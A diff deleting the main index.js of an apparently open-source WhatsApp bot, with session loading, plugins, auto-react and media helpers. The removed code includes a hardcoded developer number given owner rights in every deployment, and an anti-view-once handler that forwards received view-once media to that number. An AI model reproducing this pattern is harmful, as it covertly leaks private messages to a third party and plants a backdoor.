diff --git "a/index.js" "b/index.js" --- "a/index.js" +++ "b/index.js" @@ -1,624 +1,214 @@ -const { - default: makeWASocket, - useMultiFileAuthState, - DisconnectReason, - jidNormalizedUser, - getContentType, - proto, - generateWAMessageContent, - generateWAMessage, - AnyMessageContent, - prepareWAMessageMedia, - areJidsSameUser, - downloadContentFromMessage, - MessageRetryMap, - generateForwardMessageContent, - generateWAMessageFromContent, - generateMessageID, makeInMemoryStore, - jidDecode, - fetchLatestBaileysVersion, - Browsers - } = require('@whiskeysockets/baileys') - - - const l = console.log - const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require('./lib/functions') - const fs = require('fs') - const ff = require('fluent-ffmpeg') - const P = require('pino') - const config = require('./config') - const qrcode = require('qrcode-terminal') - const StickersTypes = require('wa-sticker-formatter') - const util = require('util') - const { sms,downloadMediaMessage } = require('./lib/msg') - const FileType = require('file-type'); - const axios = require('axios') - const { File } = require('megajs') - const { fromBuffer } = require('file-type') - const bodyparser = require('body-parser') - const os = require('os') - const Crypto = require('crypto') - const path = require('path') - const prefix = config.PREFIX - - const ownerNumber = ['263719647303'] - - const tempDir = path.join(os.tmpdir(), 'cache-temp') - if (!fs.existsSync(tempDir)) { - fs.mkdirSync(tempDir) - } - - const clearTempDir = () => { - fs.readdir(tempDir, (err, files) => { - if (err) throw err; - for (const file of files) { - fs.unlink(path.join(tempDir, file), err => { - if (err) throw err; - }); - } - }); - } - - // Clear the temp directory every 5 minutes - setInterval(clearTempDir, 5 * 60 * 1000); - - //===================SESSION-AUTH============================ -if (!fs.existsSync(__dirname + '/sessions/creds.json')) { -if(!config.SESSION_ID) return console.log('Please add your session to SESSION_ID env !!') -const sessdata = config.SESSION_ID.replace("SUBZERO-MD~", ''); -const filer = File.fromURL(`https://mega.nz/file/${sessdata}`) -filer.download((err, data) => { -if(err) throw err -fs.writeFile(__dirname + '/sessions/creds.json', data, () => { -console.log("Session downloaded ✅") -})})} - - const express = require("express"); - const app = express(); - const port = process.env.PORT || 9090; - - //============================================= - - async function connectToWA() { - console.log("[ ❄️ ] SubZero Connecting to WhatsApp ⏳️..."); - const { state, saveCreds } = await useMultiFileAuthState(__dirname + '/sessions/') - var { version } = await fetchLatestBaileysVersion() - - const conn = makeWASocket({ - logger: P({ level: 'silent' }), - printQRInTerminal: false, - browser: Browsers.macOS("Firefox"), - syncFullHistory: true, - auth: state, - version - }) - - conn.ev.on('connection.update', (update) => { - const { connection, lastDisconnect } = update - if (connection === 'close') { - if (lastDisconnect.error.output.statusCode !== DisconnectReason.loggedOut) { - connectToWA() - } - } else if (connection === 'open') { - console.log('[ ❄️ ] 🛠️ Installing Plugins.') - const path = require('path'); - fs.readdirSync("./plugins/").forEach((plugin) => { - if (path.extname(plugin).toLowerCase() == ".js") { - require("./plugins/" + plugin); - } - }); - console.log('[ ❄️ ] Plugins installed successful ✅') - console.log('[ ❄️ ] SubZero MD connected to whatsapp ✅') - - let up = `*Hi Owner😇, Congrats SubZero Connected Successfully! \ud83d\udc4b\ud83c\udffb* \n\n> Light, Cold, Icy, Fast & Rich Loaded With Features, SubZero W.A Bot.\n\n *Thanks for using SUBZERO-MD ❄️* \n\n> Join WhatsApp Channel :- 🛠️\n \nhttps://whatsapp.com/channel/0029VatOy2EAzNc2WcShQw1j\n\n- *YOUR BOT PREFIX:* ${prefix}\n\nDont forget to star our repo☺ \n\nhttps://github.com/mrfrank-ofc/SUBZERO-MD\n\n> © ᴘϙᴡᴇʀᴇᴅ ʙʏ ᴍʀ ꜰʀᴀɴᴋ ᴏꜰᴄ \ud83d\udda4`; - conn.sendMessage(conn.user.id, { image: { url: `https://i.ibb.co/8NBwB9P/mrfrankofc.jpg` }, caption: up }) - } - }) - conn.ev.on('creds.update', saveCreds) - - //=============readstatus======= - - conn.ev.on('messages.upsert', async(mek) => { - mek = mek.messages[0] - if (!mek.message) return - mek.message = (getContentType(mek.message) === 'ephemeralMessage') - ? mek.message.ephemeralMessage.message - : mek.message; - if (config.READ_MESSAGE === 'true') { - await conn.readMessages([mek.key]); // Mark message as read - console.log(`Marked message from ${mek.key.remoteJid} as read.`); - } - if(mek.message.viewOnceMessageV2) - mek.message = (getContentType(mek.message) === 'ephemeralMessage') ? mek.message.ephemeralMessage.message : mek.message - if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_SEEN === "true"){ - await conn.readMessages([mek.key]) - } - if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_REPLY === "true"){ - const user = mek.key.participant - const text = `${config.AUTO_STATUS_MSG}` - await conn.sendMessage(user, { text: text, react: { text: '🧸', key: mek.key } }, { quoted: mek }) - } - let jawadik = mek.message.viewOnceMessageV2 - let jawadik1 = mek.mtype === "viewOnceMessage" - if (jawadik && config.ANTI_VV === "true") { - if (jawadik.message.imageMessage) { - let cap = jawadik.message.imageMessage.caption; - let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.imageMessage); - return conn.sendMessage("263719647303@s.whatsapp.net", { image: { url: anu }, caption: cap }, { quoted: mek }); - } if (jawadik.message.videoMessage) { - let cap = jawadik.message.videoMessage.caption; - let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.videoMessage); - return conn.sendMessage("263719647303@s.whatsapp.net", { video: { url: anu }, caption: cap }, { quoted: mek }); - } if (jawadik.message.audioMessage) { - let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.audioMessage); - return conn.sendMessage("263719647303@s.whatsapp.net", { audio: { url: anu }, caption: cap }, { quoted: mek }); - } - } - const m = sms(conn, mek) - const type = getContentType(mek.message) - const content = JSON.stringify(mek.message) - const from = mek.key.remoteJid - const quoted = type == 'extendedTextMessage' && mek.message.extendedTextMessage.contextInfo != null ? mek.message.extendedTextMessage.contextInfo.quotedMessage || [] : [] - const body = (type === 'conversation') ? mek.message.conversation : (type === 'extendedTextMessage') ? mek.message.extendedTextMessage.text : (type == 'imageMessage') && mek.message.imageMessage.caption ? mek.message.imageMessage.caption : (type == 'videoMessage') && mek.message.videoMessage.caption ? mek.message.videoMessage.caption : '' - const isCmd = body.startsWith(prefix) - const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : '' - const args = body.trim().split(/ +/).slice(1) - const q = args.join(' ') - const isGroup = from.endsWith('@g.us') - const sender = mek.key.fromMe ? (conn.user.id.split(':')[0]+'@s.whatsapp.net' || conn.user.id) : (mek.key.participant || mek.key.remoteJid) - const senderNumber = sender.split('@')[0] - const botNumber = conn.user.id.split(':')[0] - const pushname = mek.pushName || 'Sin Nombre' - const isMe = botNumber.includes(senderNumber) - const isOwner = ownerNumber.includes(senderNumber) || isMe - const botNumber2 = await jidNormalizedUser(conn.user.id); - const groupMetadata = isGroup ? await conn.groupMetadata(from).catch(e => {}) : '' - const groupName = isGroup ? groupMetadata.subject : '' - const participants = isGroup ? await groupMetadata.participants : '' - const groupAdmins = isGroup ? await getGroupAdmins(participants) : '' - const isBotAdmins = isGroup ? groupAdmins.includes(botNumber2) : false - const isAdmins = isGroup ? groupAdmins.includes(sender) : false - const isReact = m.message.reactionMessage ? true : false - const reply = (teks) => { - conn.sendMessage(from, { text: teks }, { quoted: mek }) - } - //=================================================== - conn.decodeJid = jid => { - if (!jid) return jid; - if (/:\d+@/gi.test(jid)) { - let decode = jidDecode(jid) || {}; - return ( - (decode.user && - decode.server && - decode.user + '@' + decode.server) || - jid - ); - } else return jid; - }; - //=================================================== - conn.copyNForward = async(jid, message, forceForward = false, options = {}) => { - let vtype - if (options.readViewOnce) { - message.message = message.message && message.message.ephemeralMessage && message.message.ephemeralMessage.message ? message.message.ephemeralMessage.message : (message.message || undefined) - vtype = Object.keys(message.message.viewOnceMessage.message)[0] - delete(message.message && message.message.ignore ? message.message.ignore : (message.message || undefined)) - delete message.message.viewOnceMessage.message[vtype].viewOnce - message.message = { - ...message.message.viewOnceMessage.message - } - } - - let mtype = Object.keys(message.message)[0] - let content = await generateForwardMessageContent(message, forceForward) - let ctype = Object.keys(content)[0] - let context = {} - if (mtype != "conversation") context = message.message[mtype].contextInfo - content[ctype].contextInfo = { - ...context, - ...content[ctype].contextInfo - } - const waMessage = await generateWAMessageFromContent(jid, content, options ? { - ...content[ctype], - ...options, - ...(options.contextInfo ? { - contextInfo: { - ...content[ctype].contextInfo, - ...options.contextInfo - } - } : {}) - } : {}) - await conn.relayMessage(jid, waMessage.message, { messageId: waMessage.key.id }) - return waMessage - } - //================================================= - conn.downloadAndSaveMediaMessage = async(message, filename, attachExtension = true) => { - let quoted = message.msg ? message.msg : message - let mime = (message.msg || message).mimetype || '' - let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0] - const stream = await downloadContentFromMessage(quoted, messageType) - let buffer = Buffer.from([]) - for await (const chunk of stream) { - buffer = Buffer.concat([buffer, chunk]) - } - let type = await FileType.fromBuffer(buffer) - trueFileName = attachExtension ? (filename + '.' + type.ext) : filename - // save to file - await fs.writeFileSync(trueFileName, buffer) - return trueFileName - } - //================================================= - conn.downloadMediaMessage = async(message) => { - let mime = (message.msg || message).mimetype || '' - let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0] - const stream = await downloadContentFromMessage(message, messageType) - let buffer = Buffer.from([]) - for await (const chunk of stream) { - buffer = Buffer.concat([buffer, chunk]) - } - - return buffer - } - - /** - * - * @param {*} jid - * @param {*} message - * @param {*} forceForward - * @param {*} options - * @returns - */ - //================================================ - conn.sendFileUrl = async (jid, url, caption, quoted, options = {}) => { - let mime = ''; - let res = await axios.head(url) - mime = res.headers['content-type'] - if (mime.split("/")[1] === "gif") { - return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, gifPlayback: true, ...options }, { quoted: quoted, ...options }) - } - let type = mime.split("/")[0] + "Message" - if (mime === "application/pdf") { - return conn.sendMessage(jid, { document: await getBuffer(url), mimetype: 'application/pdf', caption: caption, ...options }, { quoted: quoted, ...options }) - } - if (mime.split("/")[0] === "image") { - return conn.sendMessage(jid, { image: await getBuffer(url), caption: caption, ...options }, { quoted: quoted, ...options }) - } - if (mime.split("/")[0] === "video") { - return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, mimetype: 'video/mp4', ...options }, { quoted: quoted, ...options }) - } - if (mime.split("/")[0] === "audio") { - return conn.sendMessage(jid, { audio: await getBuffer(url), caption: caption, mimetype: 'audio/mpeg', ...options }, { quoted: quoted, ...options }) - } - } - //========================================================== - conn.cMod = (jid, copy, text = '', sender = conn.user.id, options = {}) => { - //let copy = message.toJSON() - let mtype = Object.keys(copy.message)[0] - let isEphemeral = mtype === 'ephemeralMessage' - if (isEphemeral) { - mtype = Object.keys(copy.message.ephemeralMessage.message)[0] - } - let msg = isEphemeral ? copy.message.ephemeralMessage.message : copy.message - let content = msg[mtype] - if (typeof content === 'string') msg[mtype] = text || content - else if (content.caption) content.caption = text || content.caption - else if (content.text) content.text = text || content.text - if (typeof content !== 'string') msg[mtype] = { - ...content, - ...options - } - if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant - else if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant - if (copy.key.remoteJid.includes('@s.whatsapp.net')) sender = sender || copy.key.remoteJid - else if (copy.key.remoteJid.includes('@broadcast')) sender = sender || copy.key.remoteJid - copy.key.remoteJid = jid - copy.key.fromMe = sender === conn.user.id - - return proto.WebMessageInfo.fromObject(copy) - } - - - /** - * - * @param {*} path - * @returns - */ - //===================================================== - conn.getFile = async(PATH, save) => { - let res - let data = Buffer.isBuffer(PATH) ? PATH : /^data:.*?\/.*?;base64,/i.test(PATH) ? Buffer.from(PATH.split `,` [1], 'base64') : /^https?:\/\//.test(PATH) ? await (res = await getBuffer(PATH)) : fs.existsSync(PATH) ? (filename = PATH, fs.readFileSync(PATH)) : typeof PATH === 'string' ? PATH : Buffer.alloc(0) - //if (!Buffer.isBuffer(data)) throw new TypeError('Result is not a buffer') - let type = await FileType.fromBuffer(data) || { - mime: 'application/octet-stream', - ext: '.bin' - } - let filename = path.join(__filename, __dirname + new Date * 1 + '.' + type.ext) - if (data && save) fs.promises.writeFile(filename, data) - return { - res, - filename, - size: await getSizeMedia(data), - ...type, - data - } - - } - //===================================================== - conn.sendFile = async(jid, PATH, fileName, quoted = {}, options = {}) => { - let types = await conn.getFile(PATH, true) - let { filename, size, ext, mime, data } = types - let type = '', - mimetype = mime, - pathFile = filename - if (options.asDocument) type = 'document' - if (options.asSticker || /webp/.test(mime)) { - let { writeExif } = require('./exif.js') - let media = { mimetype: mime, data } - pathFile = await writeExif(media, { packname: Config.packname, author: Config.packname, categories: options.categories ? options.categories : [] }) - await fs.promises.unlink(filename) - type = 'sticker' - mimetype = 'image/webp' - } else if (/image/.test(mime)) type = 'image' - else if (/video/.test(mime)) type = 'video' - else if (/audio/.test(mime)) type = 'audio' - else type = 'document' - await conn.sendMessage(jid, { - [type]: { url: pathFile }, - mimetype, - fileName, - ...options - }, { quoted, ...options }) - return fs.promises.unlink(pathFile) - } - //===================================================== - conn.parseMention = async(text) => { - return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net') - } - //===================================================== - conn.sendMedia = async(jid, path, fileName = '', caption = '', quoted = '', options = {}) => { - let types = await conn.getFile(path, true) - let { mime, ext, res, data, filename } = types - if (res && res.status !== 200 || file.length <= 65536) { - try { throw { json: JSON.parse(file.toString()) } } catch (e) { if (e.json) throw e.json } - } - let type = '', - mimetype = mime, - pathFile = filename - if (options.asDocument) type = 'document' - if (options.asSticker || /webp/.test(mime)) { - let { writeExif } = require('./exif') - let media = { mimetype: mime, data } - pathFile = await writeExif(media, { packname: options.packname ? options.packname : Config.packname, author: options.author ? options.author : Config.author, categories: options.categories ? options.categories : [] }) - await fs.promises.unlink(filename) - type = 'sticker' - mimetype = 'image/webp' - } else if (/image/.test(mime)) type = 'image' - else if (/video/.test(mime)) type = 'video' - else if (/audio/.test(mime)) type = 'audio' - else type = 'document' - await conn.sendMessage(jid, { - [type]: { url: pathFile }, - caption, - mimetype, - fileName, - ...options - }, { quoted, ...options }) - return fs.promises.unlink(pathFile) - } - /** - * - * @param {*} message - * @param {*} filename - * @param {*} attachExtension - * @returns - */ - //===================================================== - conn.sendVideoAsSticker = async (jid, buff, options = {}) => { - let buffer; - if (options && (options.packname || options.author)) { - buffer = await writeExifVid(buff, options); - } else { - buffer = await videoToWebp(buff); - } - await conn.sendMessage( - jid, - { sticker: { url: buffer }, ...options }, - options - ); - }; - //===================================================== - conn.sendImageAsSticker = async (jid, buff, options = {}) => { - let buffer; - if (options && (options.packname || options.author)) { - buffer = await writeExifImg(buff, options); - } else { - buffer = await imageToWebp(buff); - } - await conn.sendMessage( - jid, - { sticker: { url: buffer }, ...options }, - options - ); - }; - /** - * - * @param {*} jid - * @param {*} path - * @param {*} quoted - * @param {*} options - * @returns - */ - //===================================================== - conn.sendTextWithMentions = async(jid, text, quoted, options = {}) => conn.sendMessage(jid, { text: text, contextInfo: { mentionedJid: [...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net') }, ...options }, { quoted }) - - /** - * - * @param {*} jid - * @param {*} path - * @param {*} quoted - * @param {*} options - * @returns - */ - //===================================================== - conn.sendImage = async(jid, path, caption = '', quoted = '', options) => { - let buffer = Buffer.isBuffer(path) ? path : /^data:.*?\/.*?;base64,/i.test(path) ? Buffer.from(path.split `,` [1], 'base64') : /^https?:\/\//.test(path) ? await (await getBuffer(path)) : fs.existsSync(path) ? fs.readFileSync(path) : Buffer.alloc(0) - return await conn.sendMessage(jid, { image: buffer, caption: caption, ...options }, { quoted }) - } - - /** - * - * @param {*} jid - * @param {*} path - * @param {*} caption - * @param {*} quoted - * @param {*} options - * @returns - */ - //===================================================== - conn.sendText = (jid, text, quoted = '', options) => conn.sendMessage(jid, { text: text, ...options }, { quoted }) - - /** - * - * @param {*} jid - * @param {*} path - * @param {*} caption - * @param {*} quoted - * @param {*} options - * @returns - */ - //===================================================== - conn.sendButtonText = (jid, buttons = [], text, footer, quoted = '', options = {}) => { - let buttonMessage = { - text, - footer, - buttons, - headerType: 2, - ...options - } - //======================================================================================================================================== - conn.sendMessage(jid, buttonMessage, { quoted, ...options }) - } - //===================================================== - conn.send5ButImg = async(jid, text = '', footer = '', img, but = [], thumb, options = {}) => { - let message = await prepareWAMessageMedia({ image: img, jpegThumbnail: thumb }, { upload: conn.waUploadToServer }) - var template = generateWAMessageFromContent(jid, proto.Message.fromObject({ - templateMessage: { - hydratedTemplate: { - imageMessage: message.imageMessage, - "hydratedContentText": text, - "hydratedFooterText": footer, - "hydratedButtons": but - } - } - }), options) - conn.relayMessage(jid, template.message, { messageId: template.key.id }) - } - - /** - * - * @param {*} jid - * @param {*} buttons - * @param {*} caption - * @param {*} footer - * @param {*} quoted - * @param {*} options - */ - -//=====Auto-Read-Cmd========== -if (isCmd && config.READ_CMD === "true") { - await conn.readMessages([mek.key]) // Mark command as read -} - //================ownerreact============== - - if(senderNumber.includes("263719647303")){ - if(isReact) return - m.react("👨🏾‍💻") - } - - //==========public react============// - // Auto React - if (!isReact && senderNumber !== botNumber) { - if (config.AUTO_REACT === 'true') { - const reactions = ['😊', '👍', '😂', '💯', '🔥', '🙏', '🎉', '👏', '😎', '🤖', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "��️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '🙂', '😑', '🤣', '😍', '😘', '😗', '😙', '😚', '😛', '😝', '😞', '😟', '😠', '😡', '😢', '😭', '😓', '😳', '😴', '😌', '😆', '😂', '🤔', '😒', '😓', '😶', '🙄', '🐶', '🐱', '🐔', '🐷', '🐴', '🐲', '🐸', '🐳', '🐋', '🐒', '🐑', '🐕', '🐩', '🍔', '🍕', '🥤', '🍣', '🍲', '🍴', '🍽', '🍹', '🍸', '🎂', '📱', '📺', '📻', '🎤', '📚', '💻', '📸', '📷', '❤️', '💔', '❣️', '☀️', '🌙', '🌃', '🏠', '🚪', "🇺🇸", "🇬🇧", "🇨🇦", "🇦🇺", "🇯🇵", "🇫🇷", "🇪🇸", '👍', '👎', '👏', '👫', '👭', '👬', '👮', '🤝', '🙏', '👑', '🌻', '🌺', '🌸', '🌹', '🌴', "🏞️", '🌊', '🚗', '🚌', "🛣️", "🛫️", "🛬️", '🚣', '🛥', '🚂', '🚁', '🚀', "🏃‍♂️", "🏋️‍♀️", "🏊‍♂️", "🏄‍♂️", '🎾', '🏀', '🏈', '🎯', '🏆', '??', '⬆️', '⬇️', '⇒', '⇐', '↩️', '↪️', 'ℹ️', '‼️', '⁉️', '‽️', '©️', '®️', '™️', '🔴', '🔵', '🟢', '🔹', '🔺', '💯', '👑', '🤣', "🤷‍♂️", "🤷‍♀️", "🙅‍♂️", "🙅‍♀️", "🙆‍♂️", "🙆‍♀️", "🤦‍♂️", "🤦‍♀️", '🏻', '💆‍♂️', "💆‍♀️", "🕴‍♂️", "🕴‍♀️", "💇‍♂️", "💇‍♀️", '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '�', '🏯', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🌳', '🌲', '🌾', '🌿', '🍃', '🍂', '🍃', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌱', '🌿', '🍃', '🍂', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '��', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🐒', '🦍', '🦧', '🐶', '🐕', '🦮', "🐕‍🦺", '🐩', '🐺', '🦊', '🦝', '🐱', '🐈', "🐈‍⬛", '🦁', '🐯', '🐅', '🐆', '🐴', '🐎', '🦄', '🦓', '🦌', '🦬', '🐮', '🐂', '🐃', '🐄', '🐷', '🐖', '🐗', '🐽', '🐏', '🐑', '🐐', '🐪', '🐫', '🦙', '🦒', '🐘', '🦣', '🦏', '🦛', '🐭', '🐁', '🐀', '🐹', '🐰', '🐇', "🐿️", '🦫', '🦔', '🦇', '🐻', "🐻‍❄️", '🐨', '🐼', '🦥', '🦦', '🦨', '🦘', '🦡', '🐾', '🦃', '🐔', '🐓', '🐣', '🐤', '🐥', '🐦', '🐧', "🕊️", '🦅', '🦆', '🦢', '🦉', '🦤', '🪶', '🦩', '🦚', '🦜', '🐸', '🐊', '🐢', '🦎', '🐍', '🐲', '🐉', '🦕', '🦖', '🐳', '🐋', '🐬', '🦭', '🐟', '🐠', '😀', '😃', '😄', '😁', '😆', '😅', '🤣', '😂', '🙂', '🙃', '😉', '😊', '😇', '🥰', '😍', '🤩', '😘', '😗', '☺️', '😚', '😙', '🥲', '😋', '😛', '😜', '🤪', '😝', '🤑', '🤗', '🤭', '🤫', '🤔', '🤐', '🤨', '😐', '😑', '😶', "😶‍🌫️", '😏', '😒', '🙄', '😬', "😮‍💨", '🤥', '😌', '😔', '😪', '🤤', '😴', '😷', '🤒', '🤕', '🤢', '🤮', '🤧', '🥵', '🥶', '🥴', '😵', "😵‍💫", '🤯', '🤠', '🥳', '🥸', '😎', '🤓', '🧐', '😕', '😟', '🙁', '☹️', '😮', '😯', '😲', '😳', '🥺', '😦', '😧', '😨', '😰', '😥', '😢', '😭', '😱', '😖', '😣', '😞', '😓', '😩', '😫', '🥱', '😤', '😡', '😠', '🤬', '😈', '👿', '💀', '☠️', '💩', '🤡', '👹', '👺', '👻', '👽', '👾', '🤖', '😺', '😸', '😹', '😻', '😼', '😽', '🙀', '😿', '😾', '🙈', '🙉', '🙊', '💋', '💌', '💘', '💝', '💖', '💗', '💓', '💞', '💕', '💟', '❣️', '💔', "❤️‍🔥", "❤️‍🩹", '❤️', '🧡', '💛', '💚', '💙', '💜', '🤎', '🖤', '🤍', '💯', '💢', '💥', '💫', '💦', '💨', "🕳️", '💣', '💬', "👁️‍🗨️", "🗨️", "🗯️", '💭', '💤', '👋', '🤚', "🖐️", '✋', '🖖', '👌', '🤌', '🤏', '✌️', '🤞', '🤟', '🤘', '🤙', '👈', '👉', '👆', '🖕', '👇', '☝️', '👍', '👎', '✊', '👊', '🤛', '🤜', '👏', '🙌', '👐', '🤲', '🤝', '🙏', '✍️', '💅', '🤳', '💪', '🦾', '🦿', '🦵', 